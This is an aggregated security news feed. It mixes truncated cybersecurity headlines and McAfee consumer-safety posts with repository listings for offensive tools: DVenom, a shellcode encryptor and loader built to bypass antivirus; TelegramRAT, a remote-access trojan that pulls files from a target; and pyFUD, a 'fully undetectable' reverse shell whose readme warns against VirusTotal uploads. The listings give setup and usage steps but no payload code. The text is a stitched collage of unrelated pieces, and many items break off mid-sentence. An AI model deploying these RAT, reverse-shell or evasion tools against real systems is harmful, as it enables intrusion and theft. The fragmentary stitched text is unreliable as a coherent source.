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Beware: These Fake Antivirus Sites Spreading Android and Windows Malware

Threat actors have been observed making use of fake websites masquerading as legitimate antivirus solutions from Avast, Bitdefender, and Malwarebytes to propagate malware capable of stealing sensitive information from Android and Windows devices. "Hosting malicious software through sites which look legitimate is predatory to general consumers, especially those who look to protect their devices

What to Do If Your Email Is Hacked

I think I could count on my hand the people I know who have NOT had their email hacked. Maybe they found a four-leaf clover when they were kids!

Email hacking is one of the very unfortunate downsides of living in our connected, digital world. And it usually occurs as a result of a data breach – a situation that even the savviest tech experts find themselves in.

What Is A Data Breach?

In simple terms, a data breach happens when personal information is accessed, disclosed without permission, or lost. Companies, organisations, and government departments of any size can be affected. Data stolen can include customer login details (email addresses and passwords), credit card numbers, identifying IDs of customers e.g. driver’s license numbers and/or passport numbers, confidential customer information, company strategy, or even matters of national security.

Data breaches have made headlines, particularly over the last few years. When the Optus and Medibank data breaches hit the news in 2022 affecting almost 10 million Aussies a piece, we were all shaken. But then when Aussie finance company Latitude, was affected in 2023 with a whopping 14 million people from both Australia and New Zealand affected, it almost felt inevitable that by now, most of us would have been impacted.

But these were the data breaches that grabbed our attention. The reality is that data breaches have been happening for years. In fact, the largest data breach in Australian history actually happened in May 2019 to the online design site Canva which affected 137 million users globally including many Aussies.

So, in short – it can happen to anyone, and the chances are you may have already been affected.

But Why Should I Worry? I Have Nothing Valuable in My Email

The sole objective of a hacker is to get their hands on your data. And any information that you share in your email account can be very valuable to them. But why do they want your data, you ask? It’s simple really – so they can cash in! Some will keep the juicy stuff for themselves – passwords or logins to government departments or large companies they may want to ’target’ with the aim of extracting valuable data and/or funds. But the more sophisticated ones will sell your details including name, telephone, email address, and credit card details, and cash in on the Dark Web. They often do this in batches. Some experts believe they can get as much as AU$250 for a full set of details including credit cards. So, you can see why they’d be interested in you!

The other reason why hackers will be interested in your email address and password is that many of us re-use these login details across our other online accounts too. So, once they’ve got their hands on your email credentials then they may be able to access your online banking and investment accounts – the possibilities are endless if you are using the same login credentials everywhere. So, you can see why I harp on about using a unique password for every online account!

How Big Is the Problem?

There is a plethora of statistics on just how big this issue is – all of them concerning.

According to the Australian Institute of Criminology, there were over 16,000 reports of identity theft in 2022.

The Department of Home Affairs and Stay Smart Australia reports that cybercrime costs Australian businesses $29 billion a year with the average business spending around $275,000 to remedy a data breach

And although there has been a slight reduction in Aussies falling for phishing scams in recent years (down from 2.7% in 2020/1 to 2.5% in 2022/3), more Australians are falling victim to card fraud scams with a total of $2.2 billion lost in 2023.

But regardless of which statistic you choose to focus on, we have a big issue on our hands!

So, What Do I Do If My Email Is Hacked?

If you find yourself a victim of email hacking there are a few very important steps you need to take and the key is to take them FAST!!

  1. Change Your Password

This is the very first thing you must do to ensure the hacker can’t get back into your account. It is essential that your new password is complex and totally unrelated to previous passwords. Always use at least 8-10 characters with a variety of upper and lower case and throw in some symbols and numbers. I really like the idea of a crazy, nonsensical sentence – easier to remember and harder to crack! But, better still, get yourself a password manager that will create a password that no human would be capable of creating.

If you find the hacker has locked you out of your account by changing your password, you will need to reset the password by clicking on the ‘Forgot My Password’ link.

  1. Change Any Other Accounts with the Same Password

This is time-consuming but essential. Ensure you change any other accounts that use the same username and password as your compromised email. Hackers love the fact that many people still use the same logins for multiple accounts, so it is guaranteed they will try your info in other email applications and sites such as PayPal, Amazon, Netflix – you name it!

Once the dust has settled, please review your password strategy for all your online accounts. A best practice is to ensure every online account has its own unique and complex password.

  1. Let Your Email Contacts Know

A big part of the hacker’s strategy is to ‘get their claws’ into your address book with the aim of hooking others as well. Send a message to all your email contacts as soon as possible so they know to avoid opening any emails (most likely loaded with malware) that have come from you.

  1. Commit to Multi-factor Authentication

Yes, multi-factor authentication (or 2-factor authentication) adds another step to your login but it also adds another layer of protection. Enabling this will mean that in addition to your password, you will need a special one-time use code to log in. This can be sent to your mobile phone or alternatively, it may be generated via an authenticator app. So worthwhile!

  1. Check Your Email Settings

It is not uncommon for hackers to modify your email settings so that a copy of every email you receive is automatically forwarded to them. Not only can they monitor your logins for other sites, but they’ll keep a watchful eye over any particularly juicy personal information. So, check your mail forwarding settings to ensure no unexpected email addresses have been added.

Don’t forget to check your email signature to ensure nothing spammy has been added. Also, ensure your ‘reply to’ email address is actually yours! Hackers have been known to create an email address here that looks similar to yours – when someone replies, it goes straight to their account, not yours!

  1. Scan Your Computer for Malware and Viruses

This is essential also. If you find anything, please ensure it is addressed, and then change your email password again. And if you don’t have it – please invest. Comprehensive security software will provide you with a digital shield for your online life. McAfee+ lets you protect all your devices – including your smartphone – from viruses and malware. It also contains a password manager to help you remember and generate unique passwords for all your accounts.

  1. Consider Creating a New Email Address

If you have been hacked several times and your email provider isn’t mitigating the amount of spam you are receiving, then consider starting afresh but don’t delete your email address. Many experts warn against deleting email accounts as most email providers will recycle your old email address. This could mean a hacker could spam every site they can find with a ‘forgot my password’ request and try to impersonate you – identity theft!

Your email is an important part of your online identity so being vigilant and addressing any fallout from hacking is essential for your digital reputation. And even though it may feel that ‘getting hacked’ is inevitable, you can definitely reduce your risk by installing some good quality security software on all your devices. Comprehensive security software such as McAfee+ will alert you when visiting risky websites, warn you when a download looks ‘dodgy’, and will block annoying and dangerous emails with anti-spam technology.

It makes sense really – if you don’t receive the ‘dodgy’ phishing email – you can’t click on it! Smart!

And finally, don’t forget that hackers love social media – particularly those of us who overshare on it. So, before you post details of your adorable new kitten, remember it may just provide the perfect clue for a hacker trying to guess your email password!

Till next time

Alex

The post What to Do If Your Email Is Hacked appeared first on McAfee Blog.

GHOSTENGINE Exploits Vulnerable Drivers to Disable EDRs in Cryptojacking Attack

Cybersecurity researchers have discovered a new cryptojacking campaign that employs vulnerable drivers to disable known security solutions (EDRs) and thwart detection in what's called a Bring Your Own Vulnerable Driver (BYOVD) attack. Elastic Security Labs is tracking the campaign under the name REF4578 and the primary payload as GHOSTENGINE. Previous research from Chinese

CrimsonEDR - Simulate The Behavior Of AV/EDR For Malware Development Training

By: Zion3R


CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.


Features

Detection Description
Direct Syscall Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks.
NTDLL Unhooking Identifies attempts to unhook functions within the NTDLL library, a common evasion technique.
AMSI Patch Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis.
ETW Patch Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection.
PE Stomping Identifies instances of PE (Portable Executable) stomping.
Reflective PE Loading Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis.
Unbacked Thread Origin Identifies threads originating from unbacked memory regions, often indicative of malicious activity.
Unbacked Thread Start Address Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection.
API hooking Places a hook on the NtWriteVirtualMemory function to monitor memory modifications.
Custom Pattern Search Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures.

Installation

To get started with CrimsonEDR, follow these steps:

  1. Install dependancy: bash sudo apt-get install gcc-mingw-w64-x86-64
  2. Clone the repository: bash git clone https://github.com/Helixo32/CrimsonEDR
  3. Compile the project: bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh

⚠️ Warning

Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.

Usage

To use CrimsonEDR, follow these steps:

  1. Make sure the ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:
{
"IOC": [
["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
]
}
  1. Execute CrimsonEDRPanel.exe with the following arguments:

    • -d <path_to_dll>: Specifies the path to the CrimsonEDR.dll file.

    • -p <process_id>: Specifies the Process ID (PID) of the target process where you want to inject the DLL.

For example:

.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234

Useful Links

Here are some useful resources that helped in the development of this project:

Contact

For questions, feedback, or support, please reach out to me via:



Network Threats: A Step-by-Step Attack Demonstration

Follow this real-life network attack simulation, covering&nbsp;6&nbsp;steps from Initial Access to Data Exfiltration. See how attackers remain undetected with the&nbsp;simplest&nbsp;tools and why you need multiple choke points in your defense strategy. Surprisingly, most network attacks are not exceptionally sophisticated, technologically advanced, or reliant on zero-day tools that exploit

eScan Antivirus Update Mechanism Exploited to Spread Backdoors and Miners

A new malware campaign has been exploiting the updating mechanism of the eScan antivirus software to distribute backdoors and cryptocurrency miners like XMRig through a long-standing threat codenamed GuptiMiner targeting large corporate networks. Cybersecurity firm Avast said the activity is the work of a threat actor with possible connections to a North Korean hacking group&nbsp;dubbed&nbsp;

Malicious Google Ads Pushing Fake IP Scanner Software with Hidden Backdoor

A new Google malvertising campaign is leveraging a cluster of domains mimicking a legitimate IP scanner software to deliver a previously unknown backdoor dubbed&nbsp;MadMxShell. "The threat actor registered multiple look-alike domains using a typosquatting technique and leveraged Google Ads to push these domains to the top of search engine results targeting specific search keywords, thereby

Raspberry Robin Returns: New Malware Campaign Spreading Through WSF Files

Cybersecurity researchers have discovered a new Raspberry Robin campaign wave that has been propagating the malware through malicious Windows Script Files (WSFs) since March 2024. "Historically, Raspberry Robin was known to spread through removable media like USB drives, but over time its distributors have experimented with other initial infection vectors," HP Wolf Security researcher Patrick

SASE Solutions Fall Short Without Enterprise Browser Extensions, New Report Reveals

As SaaS applications dominate the business landscape, organizations need optimized network speed and robust security measures. Many of them have been turning to SASE, a product category that offers cloud-based network protection while enhancing network infrastructure performance. However, a new report: "Better Together: SASE and Enterprise Browser Extension for the SaaS-First Enterprise" (

Alert: New Phishing Attack Delivers Keylogger Disguised as Bank Payment Notice

A new phishing campaign has been observed leveraging a novel loader malware to deliver an information stealer and keylogger called&nbsp;Agent Tesla. Trustwave SpiderLabs said it identified a phishing email bearing this attack chain on March 8, 2024. The message masquerades as a bank payment notification, urging the user to open an archive file attachment. The archive ("Bank Handlowy w Warszawie

New BunnyLoader Malware Variant Surfaces with Modular Attack Features

Cybersecurity researchers have discovered an updated variant of a stealer and malware loader called&nbsp;BunnyLoader&nbsp;that modularizes its various functions as well as allow it to evade detection. "BunnyLoader is dynamically developing malware with the capability to steal information, credentials and cryptocurrency, as well as deliver additional malware to its victims," Palo Alto Networks

How to Protect Your Family From AI Scams

AI scams are becoming increasingly common. With the rise of artificial intelligence and technology, fraudulent activity is becoming more sophisticated and sophisticated. As a result, it is becoming increasingly important for families to be aware of the dangers posed by AI scams and to take steps to protect themselves.  

  1. Educate yourself and your family about AI scams. Understanding what AI scams are and how they work is an important first step in protecting your family. Make sure everyone in your family is aware of the potential risks and understand the basics of how AI scams work.
  2. Monitor your family’s online activity. Make sure your family is only engaging with legitimate online sources and that they are not clicking on any suspicious links or downloading any suspicious software. This is especially important for children, who may be more susceptible to AI scams.
  3. Use strong passwords. Make sure all of your family’s accounts are protected with strong passwords and regularly change them. Also, make sure that your family is using different passwords for different accounts.
  4. Install antivirus software. Make sure all of your family’s devices are protected with antivirus software and that it is regularly updated. This will help protect your family’s devices from malicious software and viruses.
  5. Check your credit report. Make sure to regularly check your family’s credit report for any suspicious activity. If you find any suspicious activity, report it to the credit bureau immediately.

By taking these steps, you can help protect your family from AI scams. Educating yourself and your family about the potential risks of AI scams, monitoring your family’s online activity, using strong passwords, installing anti-virus software, and checking your credit report regularly can help keep your family safe from AI scams. 

No one likes to be taken advantage of or scammed. By being aware of the potential risks of AI scams, you protect your family from becoming victims. 

In addition, it is important to be aware of emails or texts that appear to be from legitimate sources but are actually attempts to entice you to click on suspicious links or provide personal information. If you receive a suspicious email or text, delete it immediately. If you are unsure, contact the company directly to verify that the message is legitimate. By being aware of potential AI scams keep your family safe from financial loss or identity theft. 

You can also take additional steps to protect yourself and your family from AI scams. Consider using two-factor authentication when logging in to websites or apps, and keep all passwords and usernames secure. Be skeptical of unsolicited emails or texts never provide confidential information unless you are sure you know who you are dealing with. Finally, always consider the source and research any unfamiliar company or service before you provide any personal information. By taking these steps, you can help to protect yourself and your family from the dangers posed by AI scams. 

monitor your bank accounts and credit reports to ensure that no unauthorized activity is taking place. Set up notifications to alert you of any changes or suspicious activity. Make sure to update your security software to the latest version and be aware of phishing attempts, which could be attempts to gain access to your personal information. If you receive a suspicious email or text, do not click on any links and delete the message immediately. 

Finally, stay informed and know the signs of scam. Be your online accounts and look out for any requests for personal information. If something looks suspicious, trust your instincts and don’t provide any information. Report any suspicious activity to the authorities and make sure to spread the word to others from falling victim to AI scams. 

 

This blog post was co-written with artifical intelligence (AI) as a tool to supplement, enhance, and make suggestions. While AI may assist in the creative and editing process, the thoughts, ideas, opinions, and the finished product are entirely human and original to their author. We strive to ensure accuracy and relevance, but please be aware that AI-generated content may not always fully represent the intent or expertise of human-authored material. 

The post How to Protect Your Family From AI Scams appeared first on McAfee Blog.

China-Linked Hackers Target Myanmar's Top Ministries with Backdoor Blitz

The China-based threat actor known as&nbsp;Mustang Panda&nbsp;is suspected to have targeted Myanmar's Ministry of Defence and Foreign Affairs as part of twin campaigns designed to deploy backdoors and remote access trojans. The findings come from CSIRT-CTI, which said the activities took place in November 2023 and January 2024 after artifacts in connection with the attacks were uploaded to the

Albabat, Kasseika, Kuiper: New Ransomware Gangs Rise with Rust and Golang

Cybersecurity researchers have detected in the wild yet another variant of the Phobos ransomware family known as&nbsp;Faust. Fortinet FortiGuard Labs, which detailed the latest iteration of the ransomware, said it's being propagated by means of an infection that delivers a Microsoft Excel document (.XLAM) containing a VBA script. "The attackers utilized the Gitea service to store several files

New CherryLoader Malware Mimics CherryTree to Deploy PrivEsc Exploits

A new Go-based malware loader called&nbsp;CherryLoader&nbsp;has been discovered by threat hunters in the wild to deliver additional payloads onto compromised hosts for follow-on exploitation. Arctic Wolf Labs, which discovered the new attack tool in two recent intrusions, said the loader's icon and name masquerades as the legitimate CherryTree note-taking application to dupe potential victims

New iShutdown Method Exposes Hidden Spyware Like Pegasus on Your iPhone

Cybersecurity researchers have identified a "lightweight method" called&nbsp;iShutdown&nbsp;for reliably identifying signs of spyware on Apple iOS devices, including notorious threats like NSO Group's&nbsp;Pegasus, QuaDream's&nbsp;Reign, and Intellexa's&nbsp;Predator.&nbsp; Kaspersky, which analyzed a set of iPhones that were compromised with Pegasus, said the infections left traces in a file

NoaBot: Latest Mirai-Based Botnet Targeting SSH Servers for Crypto Mining

A new Mirai-based botnet called&nbsp;NoaBot&nbsp;is being used by threat actors as part of a crypto mining campaign since the beginning of 2023. “The capabilities of the new botnet, NoaBot, include a wormable self-spreader and an SSH key backdoor to download and execute additional binaries or spread itself to new victims,” Akamai security researcher Stiv Kupchik said in a report shared with The

Researchers Unveil GuLoader Malware's Latest Anti-Analysis Techniques

Threat hunters have unmasked the latest tricks adopted by a malware strain called&nbsp;GuLoader&nbsp;in an effort to make analysis more challenging. "While GuLoader's core functionality hasn't changed drastically over the past few years, these constant updates in their obfuscation techniques make analyzing GuLoader a time-consuming and resource-intensive process," Elastic Security Labs

Mac Users Beware: New Trojan-Proxy Malware Spreading via Pirated Software

Unauthorized websites distributing trojanized versions of cracked software have been found to infect Apple macOS users with a new&nbsp;Trojan-Proxy&nbsp;malware. "Attackers can use this type of malware to gain money by building a proxy server network or to perform criminal acts on behalf of the victim: to launch attacks on websites, companies and individuals, buy guns, drugs, and other illicit

Discover Why Proactive Web Security Outsmarts Traditional Antivirus Solutions

In a rapidly evolving digital landscape, it's crucial to reevaluate how we secure web environments. Traditional antivirus-approach solutions have their merits, but they're reactive. A new report delves into the reasons for embracing proactive web security solutions, ensuring you stay ahead of emerging threats.&nbsp; To learn more, download the full report&nbsp;here. The New Paradigm If you’ve

DarkGate and PikaBot Malware Resurrect QakBot's Tactics in New Phishing Attacks

Phishing campaigns delivering malware families such as DarkGate and PikaBot are following the same tactics previously used in attacks leveraging the now-defunct QakBot trojan. “These include hijacked email threads as the initial infection, URLs with unique patterns that limit user access, and an infection chain nearly identical to what we have seen with QakBot delivery,” Cofense said in a report

Dvenom - Tool That Provides An Encryption Wrapper And Loader For Your Shellcode

By: Zion3R


Double Venom (DVenom) is a tool that helps red teamers bypass AVs by providing an encryption wrapper and loader for your shellcode.

  • Capable of bypassing some well-known antivirus (AVs).
  • Offers multiple encryption methods including RC4, AES256, XOR, and ROT.
  • Produces source code in C#, Rust, PowerShell, ASPX, and VBA.
  • Employs different shellcode loading techniques: VirtualAlloc, Process Injection, NT Section Injection, Hollow Process Injection.

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

  • Golang installed.
  • Basic understanding of shellcode operations.
  • Familiarity with C#, Rust, PowerShell, ASPX, or VBA.

To clone and run this application, you'll need Git installed on your computer. From your command line:

# Clone this repository
$ git clone https://github.com/zerx0r/dvenom
# Go into the repository
$ cd dvenom
# Build the application
$ go build /cmd/dvenom/

After installation, you can run the tool using the following command:

./dvenom -h

  • -e: Specify the encryption type for the shellcode (Supported types: xor, rot, aes256, rc4).
  • -key: Provide the encryption key.
  • -l: Specify the language (Supported languages: cs, rs, ps1, aspx, vba).
  • -m: Specify the method type (Supported types: valloc, pinject, hollow, ntinject).
  • -procname: Provide the process name to be injected (default is "explorer").
  • -scfile: Provide the path to the shellcode file.

To generate c# source code that contains encrypted shellcode.

Note that if AES256 has been selected as an encryption method, the Initialization Vector (IV) will be auto-generated.

./dvenom -e aes256 -key secretKey -l cs -m ntinject -procname explorer -scfile /home/zerx0r/shellcode.bin > ntinject.cs

Language Supported Methods Supported Encryption
C# valloc, pinject, hollow, ntinject xor, rot, aes256, rc4
Rust pinject, hollow, ntinject xor, rot, rc4
PowerShell valloc, pinject xor, rot
ASPX valloc xor, rot
VBA valloc xor, rot

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

This project is licensed under the MIT License - see the LICENSE file for details.

Double Venom (DVenom) is intended for educational and ethical testing purposes only. Using DVenom for attacking targets without prior mutual consent is illegal. The tool developer and contributor(s) are not responsible for any misuse of this tool.



Hackers Using MSIX App Packages to Infect Windows PCs with GHOSTPULSE Malware

A new cyber attack campaign has been observed using spurious MSIX Windows app package files for popular software such as Google Chrome, Microsoft Edge, Brave, Grammarly, and Cisco Webex to distribute a novel malware loader dubbed GHOSTPULSE. "MSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users," Elastic

VTScanner - A Comprehensive Python-based Security Tool For File Scanning, Malware Detection, And Analysis In An Ever-Evolving Cyber Landscape

By: Zion3R

VTScanner is a versatile Python tool that empowers users to perform comprehensive file scans within a selected directory for malware detection and analysis. It seamlessly integrates with the VirusTotal API to deliver extensive insights into the safety of your files. VTScanner is compatible with Windows, macOS, and Linux, making it a valuable asset for security-conscious individuals and professionals alike.


Features

1. Directory-Based Scanning

VTScanner enables users to choose a specific directory for scanning. By doing so, you can assess all the files within that directory for potential malware threats.

2. Detailed Scan Reports

Upon completing a scan, VTScanner generates detailed reports summarizing the results. These reports provide essential information about the scanned files, including their hash, file type, and detection status.

3. Hash-Based Checks

VTScanner leverages file hashes for efficient malware detection. By comparing the hash of each file to known malware signatures, it can quickly identify potential threats.

4. VirusTotal Integration

VTScanner interacts seamlessly with the VirusTotal API. If a file has not been scanned on VirusTotal previously, VTScanner automatically submits its hash for analysis. It then waits for the response, allowing you to access comprehensive VirusTotal reports.

5. Time Delay Functionality

For users with free VirusTotal accounts, VTScanner offers a time delay feature. This function introduces a specified delay (recommended between 20-25 seconds) between each scan request, ensuring compliance with VirusTotal's rate limits.

6. Premium API Support

If you have a premium VirusTotal API account, VTScanner provides the option for concurrent scanning. This feature allows you to optimize scanning speed, making it an ideal choice for more extensive file collections.

7. Interactive VirusTotal Exploration

VTScanner goes the extra mile by enabling users to explore VirusTotal's detailed reports for any file with a simple double-click. This feature offers valuable insights into file detections and behavior.

8. Preinstalled Windows Binaries

For added convenience, VTScanner comes with preinstalled Windows binaries compiled using PyInstaller. These binaries are detected by 10 antivirus scanners.

9. Custom Binary Generation

If you prefer to generate your own binaries or use VTScanner on non-Windows platforms, you can easily create custom binaries with PyInstaller.

Installation

Prerequisites

Before installing VTScanner, make sure you have the following prerequisites in place:

  • Python 3.6 installed on your system.
pip install -r requirements.txt

Download VTScanner

You can acquire VTScanner by cloning the GitHub repository to your local machine:

git clone https://github.com/samhaxr/VTScanner.git

Usage

To initiate VTScanner, follow these steps:

cd VTScanner
python3 VTScanner.py

Configuration

  • Set the time delay between scan requests.
  • Enter your VirusTotal API key in config.ini

License

VTScanner is released under the GPL License. Refer to the LICENSE file for full licensing details.

Disclaimer

VTScanner is a tool designed to enhance security by identifying potential malware threats. However, it's crucial to remember that no tool provides foolproof protection. Always exercise caution and employ additional security measures when handling files that may contain malicious content. For inquiries, issues, or feedback, please don't hesitate to open an issue on our GitHub repository. Thank you for choosing VTScanner v1.0.



Beware of MalDoc in PDF: A New Polyglot Attack Allowing Attackers to Evade Antivirus

By: THN
Cybersecurity researchers have called attention to a new antivirus evasion technique that involves embedding a malicious Microsoft Word file into a PDF file. The sneaky method, dubbed MalDoc in PDF by JPCERT/CC, is said to have been employed in an in-the-wild attack in July 2023. "A file created with MalDoc in PDF can be opened in Word even though it has magic numbers and file structure of PDF,"

5 Online Gaming Tips to Stay Safe From Cybercriminals

By: McAfee

Vanquishing aliens, building virtual amusement parks, mashing buttons in online battles royale. For some, playing video games is a way to unwind from the day and momentarily journey to new worlds. Others game because they love the competition or enjoy participating in the online community around their favorite game.  

But just like other online realms, gaming isn’t free of cybercriminals. Cybercriminals take advantage of highly trafficked online gaming portals to make a profit on the dark web.  

The next time you log on to your virtual world of choice, level up your gaming security to protect your device and your personally identifiable information (PII).   

Why Do Cybercriminals Target Gamers? 

Gaming companies host a trove of valuable information. Gamers trust these platforms with their payment information, personal details, passwords, and with the safety of their gaming characters on which they spend thousands of hours and hundreds of dollars upgrading.  

Cybercriminals also target gamers through malware disguised as an advantage. Cheat software for online games is common as players strive to be the best among their opponents. For instance, a malware scam targeted players seeking an advantage for “Call of Duty: Warzone.” The malware creators advertised the “cheat software” on YouTube with instructions on how to download it. The video received thousands of views and hundreds of comments, which made it look legitimate.  

One of the steps in installing the “cheat software” was that users had to disable antivirus programs and firewalls. Users let the cybercriminals walk right into their device! From there, an aggressive type of fileless malware called a dropper infected the device. A dropper doesn’t download a malicious file; rather, it creates a direct pathway to deliver an additional payload, such as credential-stealing malware.1  

5 Gamer Security Tips 

Competitive gaming is, well, competitive. So, if you invest a lot of real money into your characters, be especially vigilant and follow these five important tips to protect your online accounts. 

1. Do not reveal personal information

It’s common for gamers to use variations of their real names and birthdates in their public-facing usernames. Doing this could reveal personal information that you’d rather keep private. Consider using a nickname or a combination of random numbers instead. Along this same vein, don’t reveal personal details about yourself (phone number, hometown, places you visit regularly, etc.) on chats or streams. Lurking cybercriminals can gather these personal details to impersonate you. 

2. Edit your privacy settings 

On some online PC games, you can join campaigns with gamers from all over the world. While the interconnectivity is great, carefully vet who you allow to follow your online profile. If a stranger sends a friend request out of the blue, be on alert. They could have nefarious motives, such as phishing for valuable data. It’s best to customize your privacy settings to make your profile invisible to strangers.  

3. Don’t pirate games or download cheat software

Developers spend a lot of time creating amazing games, so make sure you purchase games legally and play them as they are intended. Research revealed that cracked versions – or unauthorized versions – of popular games sometimes hid ChromeLoader malware, which has the ability to steal credentials stored in internet browsers. Cracked versions of Call of Duty, Elden Ring, Dark Souls 3, Red Dead Redemption 2, and Roblox were found to be harboring malware.2  

Be especially wary of free downloads and cheat software. Instead, go for a challenge and have fun with the game as it’s written.  

4. Log in with a VPN

A virtual private network (VPN) scrambles your online data traffic, foiling nosy digital eavesdroppers you may encounter while online gaming. A VPN makes it nearly impossible for anyone to access your IP address or spy on your online browsing. 

5. Protect your device with antivirus software 

Antivirus software can make your online gaming experience more secure. McAfee antivirus software, which is included in McAfee+, provides real-time threat protection, which means your devices are covered with 24/7 protection from ever-evolving malware and online threats. 

1Ars Technica, “Malicious cheats for Call of Duty: Warzone are circulating online 

2TechRadar, “Be very careful when downloading these games online – they could be malware 

The post 5 Online Gaming Tips to Stay Safe From Cybercriminals appeared first on McAfee Blog.

TelegramRAT - Cross Platform Telegram Based RAT That Communicates Via Telegram To Evade Network Restrictions

By: Zion3R


Cross Platform Telegram based RAT that communicates via telegram to evade network restrictions


Installation:

1. git clone https://github.com/machine1337/TelegramRAT.git
2. Now Follow the instructions in HOW TO USE Section.

HOW TO USE:

1. Go to Telegram and search for https://t.me/BotFather
2. Create Bot and get the API_TOKEN
3. Now search for https://t.me/chatIDrobot and get the chat_id
4. Now Go to client.py and go to line 16 and 17 and place API_TOKEN and chat_id there
5. Now run python client.py For Windows and python3 client.py For Linux
6. Now Go to the bot which u created and send command in message field

HELP MENU:

HELP MENU: Coded By Machine1337
CMD Commands | Execute cmd commands directly in bot
cd .. | Change the current directory
cd foldername | Change to current folder
download filename | Download File From Target
screenshot | Capture Screenshot
info | Get System Info
location | Get Target Location

Features:

1. Execute Shell Commands in bot directly.
2. download file from client.
3. Get Client System Information.
4. Get Client Location Information.
5. Capture Screenshot
6. More features will be added

Author:

Coded By: Machine1337
Contact: https://t.me/R0ot1337


pyFUD - Multi Clients FUD Reverse Shell

By: Zion3R

python3 based multi clients reverse shell.


Warning:

1. Don't Upload Any Payloads To VirusTotal.com Bcz This tool will not work
with Time.
2. Virustotal Share Signatures With AV Comapnies.
3. Again Don't be an Idiot!

Installation:

1. git clone https://github.com/machine1337/pyFUD
2. python3 server.py (enter your ip,port and start the server)
3. client.py (Edit IP AND PORT To Put Your Own IP,Port)

Usage:

1. python3 server.py
2. Now Compile client.py to exe (make sure change ip and port in it)

Features:

1. Very Simple And Fully Undectable Reverse Shell
2. Multi Client Handling
3. Persistent Shell
3. auto-reconnect
5. U can Convert client.py to exe using pyinstaller tool in windows.

Warning:

Use this tool Only for Educational Purpose And I will Not be Responsible For ur cruel act.


VirusTotal Data Leak Exposes Some Registered Customers' Details

By: THN
Data associated with a subset of registered customers of VirusTotal, including their names and email addresses, were exposed after an employee inadvertently uploaded the information to the malware scanning platform. The security incident, which comprises a database of 5,600 names in a 313KB file, was first disclosed by Der Spiegel and Der Standard yesterday. Launched in 2004, VirusTotal is a

Researchers Discover New Sophisticated Toolkit Targeting Apple macOS Systems

Cybersecurity researchers have uncovered a set of malicious artifacts that they say is part of a sophisticated toolkit targeting Apple macOS systems. "As of now, these samples are still largely undetected and very little information is available about any of them," Bitdefender researchers Andrei Lapusneanu and Bogdan Botezatu said in a preliminary report published on Friday. The Romanian firm's

How to Remove Viruses from Your Android Phone

By: McAfee

So, can Android phones get viruses and malware? The answer is yes, and likewise you can do several things to spot and remove them from your phone. 

A couple things make Android phones attractive to cyber criminals and scammers. First, they make up about half of all smartphones in the U.S. and roughly 71% worldwide. Second, while its operating system gives users the flexibility to install apps from multiple apps markets, it also makes the operating system more vulnerable to tampering by bad actors. Also, Android has a more fragmented ecosystem with multiple device manufacturers and different versions of the operating system. As a result, each may have different security updates, and consistency will vary depending on the carrier or manufacturer, which can make Android phones more vulnerable to threats. 

So, just like computers and laptops, Android phones are susceptible to attack. And when you consider how much of our lives we keep on our phones, the importance of protecting them can’t be overstated. Steps truly are called for. With a look at how viruses and malware end up on Androids, you’ll see that you have several ways of keeping you and your phone safe. 

The top culprit: Malicious Android apps 

When it comes to viruses and malware on Android phones, malicious apps are often to blame. They’ll disguise themselves in many ways, such as utility apps, wallpaper apps, games, photo editors, and so on. Once installed, they’ll unleash their payload, which can take several forms: 

  • Adware that floods your phone with pop-ups and clicker malware that simulates clicking on ads, which generates ad revenue for views and clicks on ads—and which can steal personal information as well.  
  • Spyware that tracks your activity and can potentially harvest personal information like usernames and passwords. 
  • Billing and subscription fraud, which uses several types of tricks to overcharge for services or subscribe to other services that you don’t want. In some cases, an app will offer a free trial and then charge excessive subscription fees after the trial ends.  
  • Banking trojans that use sophisticated techniques to skim login credentials or hijack sessions, which then let bad actors steal money from your accounts. 
  • CoinStealers and fake wallets can steal your crypto wallet credentials or seed and take control of the funds. 
  • Ransomware and phone locker attacks, while less common, lock away personal info and files on the phone then demand payment for them to be released (payment being no guarantee that the hacker will actually unlock the phone). 

Google Play does its part to keep its virtual shelves free of malware-laden apps with a thorough submission process as reported by Google and through its App Defense Alliance that shares intelligence across a network of partners, of which we’re a proud member. Further, users also have the option of running Play Protect to check apps for safety before they’re downloaded.  

Yet, bad actors find ways to sneak malware into the store. Sometimes they upload an app that’s initially clean and then push the malware to users as part of an update. Other times, they’ll embed the malicious code so that it only triggers once it’s run in certain countries. They will also encrypt malicious code in the app that they submit, which can make it difficult for reviewers to sniff out.  

Beyond Google Play, Android allows users to download apps from third-party app stores, which may or may not have a thorough app submission process in place. Moreover, some third-party app stores are actually fronts for organized cybercrime gangs, built specifically to distribute malware.  

How do I know if my Android phone has a virus or is infected?  

